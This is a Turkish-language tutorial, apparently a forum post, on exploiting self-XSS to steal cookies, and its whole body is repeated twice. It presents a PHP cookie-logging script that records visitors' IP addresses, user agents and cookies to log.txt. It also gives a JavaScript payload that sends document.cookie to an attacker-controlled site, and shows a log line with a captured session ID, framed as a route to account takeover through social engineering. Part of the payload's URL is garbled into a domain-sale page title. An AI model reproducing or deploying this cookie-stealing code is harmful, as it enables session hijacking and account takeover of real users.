- 5 May 2023
- 748
- 353
- 24
Self-Xss Nedir ?
Self-XSS, kullanıcıların kendi browserlerinde zarar verici kodları çalıştırmalarına neden olan bir güvenlik zafiyetidir. Genellikle sosyal mühendislik taktikleri kullanılarak kullanıcıların kandırılmasına neden olur .
Nasıl Tespit Edilir?
Örnek Payload Listesi : Github
Bu payloadları Userden input alınan kısımlarda deneye bilirsiniz . (yorum,contact,search vb.) Egerki alert alırsanız xss vardir .
Xss var olan test sitesi(payloadları deneyip göre bileceğiniz): site
Önemi Varmı ?
Çoğu arkadaş self-xss önemsiz diye düşünür ancak saldırı zamanı bir kullanıcının hesabını ele geçirmek veya kişisel bilgilerini çalmak için kullanılabilir. Saldırganlar, bu bilgileri kötüye kullanabilir ve ayrıca kullanıcıların itibarını ve güvenilirliğini zedeleyebilir. Yani önemli bir zafiyyetdir .
Nasıl Sömürülür ?
Self-xss de sömürme işlemleri sosyal muhendislikle alakalıdır . Sosyal muhendislik sayesinde hedefin cookie bilgisi çalınır sonuç olarak account takeoverle sonlana bilir .
# Sömürme #
Öncelikle bir sunucuda bir hesap edinmeniz ve log.txt ve test.php olmak üzere iki dosya oluşturmanız gerekir. log.txt dosyasını boş bırakabilirsiniz. Bu, cookielerin yazılacağı dosyadır. Şimdi bu php kodunu test.php içine yazınız :
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}
logData();
?>
test.php içine bu kodumuzu yazdık . Bizim yapacağımız hikaye tam olarak şöyleki , self-xss zafiyyetli site uzerinden hedefin cookielerini çalacağız ve kendi sahte sitemizde log.txt içince yazacağız . Hedef sitedeki az önce yukarıdakı payloadlar yerine bunu yazıyoruz :
<script language= "JavaScript">document.location="BizImsite.com is for sale | HugeDomains" + document.cookie;document.location="http://www.boylebirsiteyok.com"</script>
Self-XSS, kullanıcıların kendi browserlerinde zarar verici kodları çalıştırmalarına neden olan bir güvenlik zafiyetidir. Genellikle sosyal mühendislik taktikleri kullanılarak kullanıcıların kandırılmasına neden olur .
Nasıl Tespit Edilir?
Örnek Payload Listesi : Github
Bu payloadları Userden input alınan kısımlarda deneye bilirsiniz . (yorum,contact,search vb.) Egerki alert alırsanız xss vardir .
Xss var olan test sitesi(payloadları deneyip göre bileceğiniz): site
Önemi Varmı ?
Çoğu arkadaş self-xss önemsiz diye düşünür ancak saldırı zamanı bir kullanıcının hesabını ele geçirmek veya kişisel bilgilerini çalmak için kullanılabilir. Saldırganlar, bu bilgileri kötüye kullanabilir ve ayrıca kullanıcıların itibarını ve güvenilirliğini zedeleyebilir. Yani önemli bir zafiyyetdir .
Nasıl Sömürülür ?
Self-xss de sömürme işlemleri sosyal muhendislikle alakalıdır . Sosyal muhendislik sayesinde hedefin cookie bilgisi çalınır sonuç olarak account takeoverle sonlana bilir .
# Sömürme #
Öncelikle bir sunucuda bir hesap edinmeniz ve log.txt ve test.php olmak üzere iki dosya oluşturmanız gerekir. log.txt dosyasını boş bırakabilirsiniz. Bu, cookielerin yazılacağı dosyadır. Şimdi bu php kodunu test.php içine yazınız :
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}
logData();
?>
test.php içine bu kodumuzu yazdık . Bizim yapacağımız hikaye tam olarak şöyleki , self-xss zafiyyetli site uzerinden hedefin cookielerini çalacağız ve kendi sahte sitemizde log.txt içince yazacağız . Hedef sitedeki az önce yukarıdakı payloadlar yerine bunu yazıyoruz :
<script language= "JavaScript">document.location="BizImsite.com is for sale | HugeDomains" + document.cookie;document.location="http://www.boylebirsiteyok.com"</script>
şimdi burda yapdığımız şey şöyle - biz sitede javascript çalıştıra biliyoruz ki bunu <script>alert(1)<script> payloadından aldığımız alertde gördük . E o zaman bizde o javascript kodlarını kullanıcıyı kendi sitemize yönlendirecek şekilde yazarız.
Şimdi daha önceden hazırladığımız log.txt içine bakalım :
IP: 154.147.123.215 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD: | REF: http://www.boylebirsiteyok.com/search.php |
DATE: Tuesday 25st 2023f July 2023 05:04:07 PM | COOKIE: cookie=PHPSESSID=889c6594db2541db1666cefca7537373
Bu işi yapan toolda var : Github Toolu